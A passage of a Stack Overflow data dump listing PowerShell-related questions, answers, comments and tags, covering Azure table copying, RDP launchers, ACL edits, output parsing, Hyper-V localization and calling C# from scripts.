Debug.Print "StdErr:", strOutput End Sub Windows 11 Pro Version 10.0.22631 Build 22631 PSVersion 7.4.6 Microsoft® Excel® for Microsoft 365 MSO (Version 2409 Build 16.0.18025.20160) 64-bit VBA 7.1.1143
tagged with: excel
upvote count: 8
type: Question

http://stackoverflow.com/a/79097057
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139472241
has comment: http://stackoverflow.com/comment/139476841
answers question: http://stackoverflow.com/q/79096641
accepted answer of: http://stackoverflow.com/q/79096641
downvote count: 0
has body: Error while copying Azure Storage table from one Storage to another storage table using Powershell script. You can use the below script to copy table entities from source to another storage account table using PowerShell 7. You can see the below entities which I stored in source table storage account. Portal: Script: function Copy-AzureTable ($SourceResourceGroupName, $SourceStorageAccountName, $SourceTable, $DestinationResourceGroupName, $DestinationStorageAccountName, $ExistingDestinationTable, $SourceAccountKey, $DestinationAccountKey) { $SourceCtx = New-AzStorageContext -StorageAccountName $SourceStorageAccountName -StorageAccountKey $SourceAccountKey $SourceCloudTable = (Get-AzStorageTable -Name $SourceTable -Context $SourceCtx).CloudTable $DestinationCtx = New-AzStorageContext -StorageAccountName $DestinationStorageAccountName -StorageAccountKey $DestinationAccountKey # Check if the destination table exists try { $DestinationCloudTable = (Get-AzStorageTable -Name $ExistingDestinationTable -Context $DestinationCtx).CloudTable } catch { Write-Error "Destination table '$ExistingDestinationTable' does not exist in the destination storage account." return } $SourceCloudTableContent = Get-AzTableRow -Table $SourceCloudTable $SourceCloudTableContent | ForEach-Object -ThrottleLimit 500 -Parallel { $DestinationCloudTableUpdate = $using:DestinationCloudTable $_ | Update-AzTableRow -Table $DestinationCloudTableUpdate } } Copy-AzureTable "SourceResourceGroup" "SourceStorageAccountName" "SourceTable" "DestinationResourceGroup" "DestinationStorageAccountName" "ExistingDestinationTable" "SourceAccountKey" "DestinationAccountKey" Output: Result : Microsoft.Azure.Cosmos.Table.DynamicTableEntity HttpStatusCode : 204 Etag : W/"datetime'2024-10-17T07%3A29%3A59.4901773Z'" SessionToken : RequestCharge : ActivityId : Result : Microsoft.Azure.Cosmos.Table.DynamicTableEntity HttpStatusCode : 204 Etag : W/"datetime'2024-10-17T07%3A29%3A59.7052318Z'" SessionToken : RequestCharge : Activ…
has comment: http://stackoverflow.com/comment/139471750
type: Answer
has comment: http://stackoverflow.com/comment/139472251
upvote count: 1
has comment: http://stackoverflow.com/comment/139472225
score: 1
has comment: http://stackoverflow.com/comment/139471954

http://stackoverflow.com/comment/139731157
comment on: http://stackoverflow.com/q/79240454
score: 0
type: QuestionComment
type: Comment
has text: @Itallmakescents, I am thankful for your comment! My goal is to make c# launch .bat file that has powershell command that installs IIS with the code provided in my original question. If you have any idea why .bat output when called manually differs from the c# call, please don't hesitate to contribute. I'd really appeciate that!

http://stackoverflow.com/comment/139525989
comment on: http://stackoverflow.com/a/79126797
type: Comment
score: 0
type: AnswerComment
has text: I think you hit the nail on the head for at least some of the issues, @mklement0 - I have added a reproduceable example to the post.

http://stackoverflow.com/comment/139634296
comment on: http://stackoverflow.com/q/79183024
type: QuestionComment
has text: Hi Daniel, if you read my post carefully you'll see that I want a logon SID of S-1-5-5 and not a user SID of S-1-5-21. I need to confirm that *each time a user logs on*, the session is given a unique ID. I already know that each user has a unique ID.
type: Comment
score: 0

http://stackoverflow.com/comment/139597613
type: QuestionComment
has text: What happens if you do `$job.ChildJobs.StopJob()` in your `else` ?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79165242

http://stackoverflow.com/q/79237490
score: 0
has answer: http://stackoverflow.com/a/79243497
type: UnansweredQuestion
has body: I have created a PowerShell script that displays a list of servers on a Windows form. If a server has more than 2 active users, the button turns red, indicating the server is busy. If there are fewer than 2 active users, the server is available and the button turns green. When I click on a server, the script should initiate an RDP session for the selected server. The issue is that, when I click on any server, the script always opens the RDP session for the last server in the list (in this case, server3), regardless of which server I select. Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $servers = @("server1", "server2", "server3") $credentials = Get-Credential function Get-ServerStatus { param ($server, [PSCredential]$credentials) try { $sessionInfo = Invoke-Command -ComputerName $server -Credential $credentials -ScriptBlock { query user /server:$env:COMPUTERNAME } -ErrorAction SilentlyContinue $activeSessions = ($sessionInfo | Where-Object { $_ -match "Active" }).Count return $activeSessions } catch { return -1 } } function Start-RDP { param ($server, [PSCredential]$credentials) cmdkey /generic:"$server" /user:"$($credentials.UserName)" /pass:"$($credentials.GetNetworkCredential().Password)" Start-Process "mstsc.exe" "/v:$server /f" } # New Window form $form = New-Object System.Windows.Forms.Form $form.Text = "Server Status" $form.Size = New-Object System.Drawing.Size(300, 400) # Title $titleLabel = New-Object System.Windows.Forms.Label $titleLabel.Text = "Stato dei server:" $titleLabel.Size = New-Object System.Drawing.Size(280, 30) $titleLabel.Location = New-Object System.Drawing.Point(10, 10) $titleLabel.Font = New-Object System.Drawing.Font("Microsoft Sans Serif", 16, [System.Drawing.FontStyle]::Bold) $titleLabel.TextAlign = [System.Drawing.ContentAlignment]::MiddleCenter $form.Controls.Add($titleLabel) $y = 60 foreach ($server in $servers) { $status = Get-ServerStatus -server $server -credentials $credentials $button = New-Ob…
has title: Active session for the last server in the list, instead that one that i click
type: Question
has comment: http://stackoverflow.com/comment/139726883
tagged with: powershell
answer count: 1

http://stackoverflow.com/comment/139423234
has text: Thank you both for your support! This issue has been solved!
type: QuestionComment
comment on: http://stackoverflow.com/q/79069816
type: Comment
score: 0

http://stackoverflow.com/a/79222375
upvote count: 1
answers question: http://stackoverflow.com/q/79222331
downvote count: 0
type: Answer
has body: You can use Out-Host to force immediate output. Write-Host "Message before Format-Volume" Format-Volume -DriveLetter I -FileSystem exFAT -AllocationUnitSize 131072 | Out-Host Write-Host "Message after Format-Volume"
score: 1

http://stackoverflow.com/comment/139619864
comment on: http://stackoverflow.com/q/79178285
score: 0
type: QuestionComment
type: Comment
has text: `Failed to send LLC packet: Exception calling "SendTo" with "2" argument(s): "Value cannot be null. Parameter name: buffer"`

http://stackoverflow.com/q/79136967
answer count: 0
tagged with: powershell
has body: I am trying to embed a PowerShell form into a PowerShell console, but the form either gets hidden or is only partially visible. Here is the code I used to embed the form into the console, Add-Type @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent); } "@ # Get the console window handle directly $consoleHandle = [System.Diagnostics.Process]::GetCurrentProcess().MainWindowHandle # Set the parent of the form to the console window [Win32]::SetParent($form.Handle, $consoleHandle) | Out-Null # Show the form in a non-modal way $form.Show() # Keep the form running [System.Windows.Forms.Application]::Run($form)
has comment: http://stackoverflow.com/comment/139542961
score: 0
has comment: http://stackoverflow.com/comment/139542989
type: UnansweredQuestion
has title: Embedded a Powershell Form inside Powershell console
type: Question

backslash
tags question: http://stackoverflow.com/q/79112116
tag name: backslash
type: Tag

http://stackoverflow.com/comment/139504221
has text: @jdweng can you please look at the most recent code I posted and assist with that? I have moved way past that original code now. Thank you.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0

http://stackoverflow.com/a/79172045
type: AcceptedAnswer
score: 2
has body: The documentation is lacking on that extension list, issue #11528 was submitted to the MS Docs repo to clarify this. -CommandType Application will read as follow once the PR is pushed to learn.microsoft.com: Application: Searches folders in the $env:PATH environment variable for non-PowerShell executable files. On Windows, executable files have a file extension that is listed in the $env:PATHEXT environment variable. If you want to know what the cmdlet uses behind the scenes you can inspect the source code. Get-Command behind the scenes essentially uses $ExecutionContext.InvokeCommand.GetCommands, if you inspect the source for CommandInvocationIntrinsics from there you can see that this class uses CommandSearcher and in there you will see they have this comment: We are never going to look for non-executable commands in CommandSearcher. Even though file types like .DOC, .LOG,.TXT, etc. can be opened / invoked, users think of these as files, not applications. So I don't think we should show applications with the additional extensions at all. Applications should only include files whose extensions are in the PATHEXT list and these would only be returned with the All parameter. That comment gives a hint that they're using a hardcoded list of extensions, the next step is to scroll up a bit where you will find an #if !UNIX directive (Line 1346) and lastly you can see that they use CommandDiscovery.PathExtensions and there it is, thru a bit of reflection you get that list. In the end, the list is gotten by parsing Environment.GetEnvironmentVariable('PATHEXT'). $commandDiscovery = [psobject].Assembly.GetType( 'System.Management.Automation.CommandDiscovery', $false, $false) $prop = $commandDiscovery.GetProperty( 'PathExtensions', [System.Reflection.BindingFlags] 'NonPublic, Static') $prop.GetValue($type, $null) Which ends with this list: .com .exe .bat .cmd .vbs .vbe .js .jse .wsf .wsh .msc .cpl
downvote count: 0
has comment: http://stackoverflow.com/comment/139613388
answers question: http://stackoverflow.com/q/79171856
type: Answer
has comment: http://stackoverflow.com/comment/139608279
upvote count: 2
accepted answer of: http://stackoverflow.com/q/79171856
has comment: http://stackoverflow.com/comment/139613370
has comment: http://stackoverflow.com/comment/139613398

http://stackoverflow.com/q/79204361
has title: How to install CA certificate into LocaMachine Root via powershell under standard user (Administrators group)
type: UnansweredQuestion
tagged with: administrator
has comment: http://stackoverflow.com/comment/139666842
tagged with: certificate
tagged with: windows
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139667673
tagged with: powershell
has body: I need to install CA certificate into LocaMachine Root via powershell. I'm trying to run this script with elevated privileges to Standard user from Administrators group. Import-PfxCertificate -Password (ConvertTo-SecureString -String 'certificatePassword' -AsPlainText -Force) -CertStoreLocation Cert:\LocalMachine\Root -FilePath 'filePath' But, it fails on Acces Denied error. If I execute the same script with elevated privileges to predefined windows Administrator user, then it works without error. How to configure Standard user permissions to allow access? I need to install it remotely via API and I don't want to require the predefined windows Administrator credentials from app using this API. Thx in advance. UPDATE (here is the screenshot of Standard user from Administrators group and the C# code where the process is started with credentials of this user): command = the powershell script above adminUsername = 'Admin' adminPasswprd = '*****' domain = 'computername' public static (bool, string) ExecuteCommand(string command, string adminUsername, string adminPassword, string domain = "") { try { SecureString securePassword = new SecureString(); foreach (char c in adminPassword) { securePassword.AppendChar(c); } // Create PowerShell process information ProcessStartInfo processInfo = new ProcessStartInfo() { FileName = "powershell.exe", Arguments = $"-NoProfile -ExecutionPolicy Bypass -Command \"{command}\"", UseShellExecute = false, RedirectStandardOutput = true, RedirectStandardError = true, RedirectStandardInput = false, CreateNoWindow = true, UserName = adminUsername, Password = securePassword, Domain = domain, Verb = "runas" }; using (Process process = new Process()) { process.StartInfo = processInfo; process.Start(); string standardOutput = process.StandardOutput.ReadToEnd(); string errorOutput = process.StandardError.ReadToEnd(); process.WaitForExit(); if (!string.IsNullOrEmpty(errorOutput)) { standardOutput += Environment.NewLine + "Error: " + errorOutput; } re…
score: 0

http://stackoverflow.com/q/79124047
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/79124081
tagged with: powershell
type: AnsweredQuestion
has body: Pwsh version: 7.4.5 Get-NetIPConfiguration -Detailed | Select-Object -Property IPv4Address | ConvertTo-Json Produces this result WARNING: Resulting JSON is truncated as serialization has exceeded the set depth of 2. [ { "IPv4Address": [ "MSFT_NetIPAddress (Name = \";:8A?8;A8??55;?55;55;\", CreationClassName = \"\", SystemCreationClassName = \"\", SystemName = \"\")" ] }, { "IPv4Address": [ "MSFT_NetIPAddress (Name = \";@C8???8???8;?;55;?55;55;\", CreationClassName = \"\", SystemCreationClassName = \"\", SystemName = \"\")" ] }, ... ] And if I try Get-NetIPConfiguration -Detailed | Select-Object -ExpandProperty IPv4Address | ConvertTo-Json this produces even bigger (like full) json object. I understand each IPv4Address is it's own object, but I am looking to get only the IP address of these objects. Does anyone know if there's a way to just get the values on IPv4Address ? Something like [ {'IPv4Address': '1.2.3.4'}, {'IPv4Address': '11.21.31.41'}, {'IPv4Address': '12.22.32.42'}, {'IPv4Address': '13.23.33.43'}, ] TIA
has answer: http://stackoverflow.com/a/79167868
score: 1
has title: pwsh - get only values in ConvertTo-Json
upvote count: 1
answer count: 2
favorite count: 0
possible better answer: http://stackoverflow.com/a/79167868
tagged with: powershell-core
has answer: http://stackoverflow.com/a/79124081

http://stackoverflow.com/comment/139527615
type: QuestionComment
comment on: http://stackoverflow.com/q/79128284
type: Comment
has text: See following : https://learn.microsoft.com/en-us/windows/release-health/status-windows-11-24h2#known-issues
score: 0

copy-item
type: Tag
tag name: copy-item
tags question: http://stackoverflow.com/q/79160366
tags question: http://stackoverflow.com/q/79534032

http://stackoverflow.com/comment/139504417
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79115375
type: QuestionComment
has text: Save your script file as UTF-8 _with BOM_.

http://stackoverflow.com/q/79140459
linked to: http://stackoverflow.com/q/19869627
has comment: http://stackoverflow.com/comment/139579437
has title: Hyper-V Get-VM output language
has comment: http://stackoverflow.com/comment/139597741
answer count: 0
has comment: http://stackoverflow.com/comment/139609571
has comment: http://stackoverflow.com/comment/139582523
has comment: http://stackoverflow.com/comment/139585155
has comment: http://stackoverflow.com/comment/139551522
has comment: http://stackoverflow.com/comment/139596928
has comment: http://stackoverflow.com/comment/139605718
tagged with: powershell
downvote count: 1
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/59909992
tagged with: hyper-v
upvote count: 1
score: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/139584041
has body: So I've roamed stackoverflow searching for a good answers, but none worked. I'm trying to get Hyper-V VM status in a script using Get-VM powershell scriptlet. Example to get the first VM status (Get-VM)[0].Status My problem is that using a french localized server, the result is Fonctionnement normal which translates to Ok. When doing operations like merging disks, I get Fusion des disques instead of MergingDisks. Of course, I would like my script to work regardless of the current language. I've tried numerous ways to change Powershell language for current session (tried Temporarily change powershell language to English?, and Forcing PowerShell errors output in English on localized systems and others) of which none worked for me. Is there anything I can do to force Get-VM (and other commands) to ouput english language, or perhaps just output integers which map to the corresponding string ? My env: Windows 2019 x64 with PSVersion 5.1.17763.6414 [EDIT] I've tried to work with enums, so far without success. On given system, I can get the possible VM Status (non localized english) with [enum]::GetNames([Microsoft.HyperV.Powershell.VMOperationalStatus]) whereas Get-VM will spit localized output. I've managed to get the conversions from and to enum objects to ints, but it doesn't help any further: Transforming "Ok" string into int (value 2) [int][Microsoft.HyperV.Powershell.VMOperationalStatus]::"Ok" Transforming int 2 into "Ok" string: [Enum]::ToObject([Microsoft.HyperV.Powershell.VMOperationalStatus], 2) My problem seems that (Get-VM)[0].Status doesn't actually return an enum, but a plain string, which of course is localized (eg Fonctionnement Normal instead of Ok) so I cannot use neither of above functions for conversions. I didn't find any solution yet. [/EDIT]
has comment: http://stackoverflow.com/comment/139549463
type: Question

http://stackoverflow.com/a/79196627
type: AcceptedAnswer
has body: If you are still interested in trying to parse the net view output after reading through the other answers advising not to and considering the provided alternatives here is one way you can parse the output using header lengths to calculate column widths and using the lengths to parse out the different values. function Parse-CommandOutput { param( $Output ) # Initialize a variable to store the computer name $computer = $null # Remove empty lines from the output $Output = $Output -notmatch '^[ -]*$' # Iterate through each line of the output for ($i = 0; $i -lt $Output.Count; $i++) { # Check if the line contains the computer name if ($Output[$i] -match '(?&lt;=Shared resources at \\\\).*') { $computer = $Matches[0] } # Check if the line contains a header for the share information elseif ($Output[$i] -match ' {2,}') { # Extract the header line $header = $Output[$i] # Split the header into individual items based on double spaces $headerItems = $header -split '(?&lt;= {2})\b' # Get the length of each header item $headerLengths = $headerItems | ForEach-Object { $_.Length } # Iterate through the subsequent lines until a new header or end of output is reached for ($i = ($i + 1); $i -lt $Output.Count; $i++) { # Skip lines that don't contain share information if ($Output[$i] -notmatch 'the command completed|^ *$') { # Extract the current line $line = $Output[$i] # Initialize a starting position for substring extraction $start = 0 # Extract values from the line based on header lengths $values = for ($k = 0; $k -lt $headerLengths.Count; $k++) { if ($k -lt $headerLengths.Count - 1) { # Extract a substring based on the current header length $line.Substring($start, $headerLengths[$k]) # Update the starting position for the next substring $start += $headerLengths[$k] } else { # Extract the remaining part of the line $line.Substring($start) } } # Create a new PowerShell object to store the extracted information $result = [ordered]@{} # Add the computer name to the object if available…
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79188413
accepted answer of: http://stackoverflow.com/q/79188413
downvote count: 0

http://stackoverflow.com/comment/139611161
type: Comment
comment on: http://stackoverflow.com/a/79169256
score: 0
has text: $LogFilePath = Join-Path -Path $DomainServerPath -ChildPath $LatestLogName fails with Join-Path : Cannot find drive. A drive with the name 'D' does not exist.
type: AnswerComment

http://stackoverflow.com/q/79098593
accepted answer: http://stackoverflow.com/a/79098668
has answer: http://stackoverflow.com/a/79098668
favorite count: 0
has title: Calling a C# delegate and then handling a callback in powershell
type: Question
tagged with: callback
has body: Let us say I have a BankBalance class in C# that defines a function DebitTransaction. DebitTransaction performs following operation. If balance > amount to be debited, it debits the amount and also notifies the caller that operation is successful. Otherwise it notifies the caller that operation failed. Below is the code inside a C# DLL as below using System; namespace BankSystem { public class BankBalance { public int Balance { get; set; } = 1000; // Define a delegate that informs the caller about the transaction status public delegate void DebitTransactionStatus(string message); public void DebitTransaction(int Debit, DebitTransactionStatus debitTransactionStatus) { if (Balance >= Debit) { Balance -= Debit; debitTransactionStatus("Amount is Debited Successfully"); } else { debitTransactionStatus("Not enough balance to perform debit operation"); } } } } Below code is the caller (C# exe calling C# DLL function DebitTransaction)which requests a debit operation. using System; using BankSystem; namespace Transaction { class DebitTransaction { static void ShowDebitTransactionStatus(string message) { Console.WriteLine(message); } static void Main(string[] args) { BankBalance bankBalance = new BankBalance(); BankBalance.DebitTransactionStatus debitTransactionStatus = new BankBalance.DebitTransactionStatus(ShowDebitTransactionStatus); bankBalance.DebitTransaction(500, debitTransactionStatus); bankBalance.DebitTransaction(600, debitTransactionStatus); } } } Above program works and here is the output Amount is Debited Successfully Not enough balance to perform debit operation I need to call C# DLL function DebitTransaction function from powershell (calling C# delegate & then register for the call back) to get the similar result This would be a great help for me, since I am a C++/C# developer but now doing Automation stuffs in PowerShell due to lack of resources in our company. I am also a newbie in PowerShell. (The Project I am working on has many exported functions which has…
answer count: 1
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139473557
type: AnsweredQuestion
tagged with: events
has comment: http://stackoverflow.com/comment/139473585
tagged with: c#
tagged with: delegates
has comment: http://stackoverflow.com/comment/139473533

http://stackoverflow.com/comment/139718207
has text: @Fildor At this stage of new version release, it is too expensive to change the architecture. In older version, I have provided instruction for user to manually change TCP protocol through Configuration Manager.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79229639
score: 0

http://stackoverflow.com/q/79095704
has title: How to remove ntfs permission of a specific user on a directory with powershell?
tagged with: powershell
has body: This script tries to do the following create SHARE, disable inheritance and convert inherited rules to explicits rules. remove any rights from BUILTIN\Utilisateurs on this directory Unfortunately, at the end, the rights remains the same, and Utilisateurs is still in the rules ! What am I doing wrong ? $sharePath = "C:\SHARE" New-Item -Path $sharePath -ItemType Directory $acl = Get-Acl -Path $sharePath $acl.SetAccessRuleProtection($true, $true) Set-Acl -Path $sharePath -AclObject $acl Write-Host "Before :" $acl.Access | Format-List * $groupToRemove = "BUILTIN\Utilisateurs" foreach ($accessRule in $acl.Access) { if ($accessRule.IdentityReference -eq $groupToRemove) { # Delete the rule. It seems to work because it returns true in powershell $acl.RemoveAccessRule($accessRule) } } Set-Acl -Path $sharePath -AclObject $acl Write-Host "After :" $acl.Access | Format-List *
tagged with: acl
score: 0
has comment: http://stackoverflow.com/comment/139468462
type: Question
has answer: http://stackoverflow.com/a/79095959
answer count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79095959

http://stackoverflow.com/comment/139547788
type: Comment
has text: Yes, I'm doing this from an elevated prompt, @iRon (Note that it works in antoher machines), and it's on Microsoft Windows Server 2022 Standard with PSVersion 5.1.20348.2400.
score: 0
comment on: http://stackoverflow.com/q/79132168
type: QuestionComment

http://stackoverflow.com/comment/139602658
has text: Thanks @santiago. I went with your final suggestion, but removed the Import-Module line. When I started the re-write of this project, putting the code in a .psm1 was the only way to prevent getting Type errors, due to some classes inheriting from others. I'm curious, why is using a psm1 the incorrect approach?
comment on: http://stackoverflow.com/a/79167139
score: 1
type: AnswerComment
type: Comment

sorting
tag name: sorting
tags question: http://stackoverflow.com/q/79170631
tags question: http://stackoverflow.com/q/79173069
type: Tag
tags question: http://stackoverflow.com/q/79377371
tags question: http://stackoverflow.com/q/79276442
tags question: http://stackoverflow.com/q/79385371

http://stackoverflow.com/comment/139569906
has text: My code using XML output is better for two reasons 1) Continues after any exception like not having access to a folder or file 2) my XML outputs indents for each level of subfolder making it easier to read.
comment on: http://stackoverflow.com/q/79150204
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79090851
score: 0
has comment: http://stackoverflow.com/comment/139460130
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139461538
has title: error MSB4041: The default XML namespace of the project must be the MSBuild XML namespace. If the project is authored in the MSBuild 2003 for
tagged with: msbuild
tagged with: .net-4.8
has body: Getting following error on .net 4.8 project when it is build from powershell command error MSB4041: The default XML namespace of the project must be the MSBuild XML namespace. If the project is authored in the MSBuild 2003 format, please add xmlns="http://schemas.microsoft.com/developer/msbuild/2003" to the element. If the project has been authored in the old 1.0 or 1.2 format, please convert it to MSBuild 2003 format my Project looks like following <Project Sdk="Microsoft.NET.Sdk.Web"> net48 And powershell command is like below Add-Content $BuildOutput (msbuild "$RepoDirectory\src\MyProject.Api.csproj" /t:Publish /p:Configuration=Release /p:OutputPath="$ReleaseDirectory\MyProject.Api")
tagged with: powershell
type: UnansweredQuestion

http://stackoverflow.com/comment/139549763
has text: NoExit gave the error, BTW, I called the command in command line, so I see the errors
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79138694

http://stackoverflow.com/comment/139582523
comment on: http://stackoverflow.com/q/79140459
type: QuestionComment
type: Comment
has text: Try `[Microsoft.HyperV.Powershell.VMOperationalStatus]::$((Get-VM)[0].Status).value__`?
score: 0

http://stackoverflow.com/comment/139452240
has text: Are you using same data that was posted? I was getting same error with my code and modified code to fix issue. The error was occurring because you used both comma and semicolons to separate the fields. So data like Mon 00:00-00:00, 23:45-23:59 I had to combine add the 23:45-23:59 to the previous field "Mon" and "Mon" did not exist. The REGEX is splitting the DAY : HOUR into two parts based on finding the first digit. When there is no Day of Week I take the hours and add to the previous field. So code expects SUN HH:mm - HH:mm, HH:mm - HH:mm and instead is seeing something else.
score: 0
comment on: http://stackoverflow.com/a/79086028
type: AnswerComment
type: Comment

http://stackoverflow.com/a/79091041
type: Answer
has body: Poked around for a bit longer and found a solution, if anyone else comes across this and wants to do something similar, here is what I found It seems that it might be impossible to actually launch multiple projects the same way "Debug > Start New Instance" does from the context menu. What I ended up doing is launching the three executables and attaching the debug service to them. # Paths to the project executables $projects = @( "path\to\proj1\Proj1.exe", "path\to\Proj2\Proj2.exe", "path\to\Proj3\Proj3.exe" ) foreach ($project in $projects) { $process = Start-Process $project -PassThru # Attach the debugger $processId = $process.Id Write-Host "ProcessId: $($processId)" $visualStudio = [Runtime.InteropServices.Marshal]::GetActiveObject("VisualStudio.DTE.17.0") # Get the list of local processes available for debugging $processes = $visualStudio.Debugger.LocalProcesses # Loop through the processes to find the one with the matching Process ID foreach ($runningProcess in $processes) { if ($runningProcess.ProcessID -eq $processId) { Write-Host "Attaching debugger to process: $($process.Name) (PID: $($process.ProcessID))" $runningProcess.Attach() # Attach the debugger to the process Write-Host "Debugger attached to process: $($process.Name)" } } Start-Sleep -Seconds 5 }
score: 0
answers question: http://stackoverflow.com/q/79087523
accepted answer of: http://stackoverflow.com/q/79087523
type: AcceptedAnswer

wpf
type: Tag
tag name: wpf
tags question: http://stackoverflow.com/q/79098831
tags question: http://stackoverflow.com/q/79347016
tags question: http://stackoverflow.com/q/79265890
tags question: http://stackoverflow.com/q/79543263

http://stackoverflow.com/comment/139468090
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79095637
has text: oh my gosh ... it get's more and more efficient.
type: AnswerComment

http://stackoverflow.com/q/79149903
has comment: http://stackoverflow.com/comment/139566807
tagged with: validation
accepted answer: http://stackoverflow.com/a/79151093
has comment: http://stackoverflow.com/comment/139566964
favorite count: 0
tagged with: dictionary
has comment: http://stackoverflow.com/comment/139566567
type: Question
answer count: 1
has title: How to implement a custom dictionary type that self validates its keys
has comment: http://stackoverflow.com/comment/139568058
downvote count: 0
tagged with: powershell
linked to: http://stackoverflow.com/q/76228902
type: AnsweredQuestion
has body: Say I wanted a dictionary type that self-validated its keys, so that only certain string values were allowed. I tried something like this: class MyDict : Collections.DictionaryBase, ICloneable { [void] OnValidate($key, $value) { $validKeyValues = 'a','b','c' if ( $key -notin $validKeyValues ) { throw "Key $key failed validation, must be one of $validKeyValues." } } [object] Clone() { $clonedDict = [MyDict]::new() $this.GetEnumerator() | ForEach-Object { $clonedDict.Add($_.Key, $_.Value) } return $clonedDict } } function StackOverflow { param( [MyDict]$Dictionary ) $Dictionary } $dict = [MyDict]::new() $dict.a = 'x' StackOverflow $dict This seems to work for member access setting and getting, e.g., $dict.a = 'x' works. However, I can no longer index into the dictionary when setting a new value, so $dict['key'] = 'value' doesn't work, but getting via $dict['a'] does work and would return x using the above example. Not being able to set via indexing seems like it's not a robust implementation, and so I am worried I might be missing out on more details. Questions Is the above approach the closest I could come in PowerShell to creating a custom dictionary type that validates its own keys? Can I fix the setting via index issue in PowerShell? Is this overall even a valid approach or are there are other serious drawbacks that I've missed and/or better ways to do this in PowerShell? note I did try inheriting from the generic Dictionary<TKey,TValue> class instead of DictionaryBase, but this generic class doesn't seem to use OnValidate($key, $value), so I couldn't implement the self-validation. I've also left out ISerializable and IDeserializationOnCallback to simplify the question's scope. PowerShell 7.4.5
score: 1
tagged with: indexer
upvote count: 1
has answer: http://stackoverflow.com/a/79151093

http://stackoverflow.com/q/79119453
has comment: http://stackoverflow.com/comment/139511093
tagged with: c#
favorite count: 0
has title: PSCommand vs PowerShell in System.Management.Automation
type: Question
accepted answer: http://stackoverflow.com/a/79119589
has answer: http://stackoverflow.com/a/79119589
answer count: 1
type: AnsweredQuestion
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139511209
downvote count: 0
tagged with: powershell
has body: From the definition of PSCommand Class: Defines a PowerShell command / script object which can be used with PowerShell object. the definition of PowerShell class: Represents a PowerShell command or script to execute against a Runspace(Pool) if provided, otherwise execute using a default Runspace. Provides access to different result buffers like output, error, debug, verbose, progress, warning, and information. Apart from the buffers, what is the difference between the two. It seems redundant that both exist, so I wonder why I would use one over the other.

http://stackoverflow.com/q/79230965
score: 1
tagged with: shutdown
upvote count: 1
favorite count: 0
tagged with: batch-file
answer count: 2
possible better answer: http://stackoverflow.com/a/79232052
tagged with: windows
has comment: http://stackoverflow.com/comment/139714539
tagged with: mmc
has comment: http://stackoverflow.com/comment/139714856
linked to: http://stackoverflow.com/q/27753917
has answer: http://stackoverflow.com/a/79232052
type: Question
linked to: http://stackoverflow.com/q/4037939
downvote count: 0
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79231407
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79231407
has body: I can't run a bat file on Shutdown on Windows 11. runAs.bat: PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown\changeComputerName.ps1""' -Verb RunAs}" changeComputerName.ps1: $computerName = -join ((97..122) | Get-Random -Count 15 | ForEach-Object {[char]$_}) Rename-Computer $computerName They are both located in: C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown\ The Shutdown properties is set to run the runAs.bat file which in turn runs a PowerShell process with elevated privileges to change the computer name. When running the bat file from the terminal, it asks for elevated privileges and then it runs successfully. Where should I be looking for error/debug info? Thanks
has title: How to run script with elevated privileges on Shutdown using gpedit.msc on Windows 11?
has comment: http://stackoverflow.com/comment/139716570

http://stackoverflow.com/q/79109456
tagged with: scripting
score: 0
has answer: http://stackoverflow.com/a/79109476
type: UnansweredQuestion
has body: Basically, I have a yaml config file, where I want to declare env variables. My PS Script, is supposed to read these and declare them inside a function. so I have something like: config.yaml: env: var1: "hello" var2: "world" step: script: - Write-Host "$env:var1, $env:var2" script.ps1 (abbreviated) $config = ConvertFrom-Yaml (Get-Content $yamlFilePath -Raw) $session = New-PSSession -ComputerName $remoteHost -Credential $creds foreach($key in $config.env.Keys){ Invoke-Command -Session $Session -ScriptBlock { param ( [string]$Name, [string]$Value ) Set-Item -Path "env:$Name" -Value $Value } -ArgumentList $key, $config.env[$key] } The user is also supposed to be able to provide a script to be run on the remote host. This script must be able to access the variables I defined in the session. Which I do like this: $lines = $config.script foreach($line in $lines){ Invoke-Command -Session $session -ScriptBlock { param([string]$Line) Invoke-Expression $Line } -ArgumentList $line } My problem is, that the $Line isn't being evaluated correctly. What ends up executing on the remote host is the line as is: Write-Host "$env:var1, $env:var2" instead of "Write-Host "Hello, World". Is there a way to do this? Or should I look into alternative ways to go about it?
tagged with: yaml
type: Question
tagged with: remote-access
has title: How to declare a remote variable in powershell and access it?
answer count: 1
tagged with: powershell

http://stackoverflow.com/q/79181934
has body: I have an SVN repo running on a windows server. As a regular task, I need to update a local version of the repo on an unattended server, to ensure that the latest working copy is held. I have created a powershell script to do this on the server, however whenever it gets to svn update, the script hangs. There are no errors and no files get updated locally. I have made sure the user has full control over the repo &amp; also over the local directory containing the repo. Is there any way of finding out what is causing this problem and also how to rectify it.
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139626088
tagged with: visualsvn
tagged with: svn
type: Question
answer count: 0
has title: VisualSVN update hangs when running as background task
has comment: http://stackoverflow.com/comment/139626124
tagged with: powershell

http://stackoverflow.com/a/79201672
has comment: http://stackoverflow.com/comment/139682964
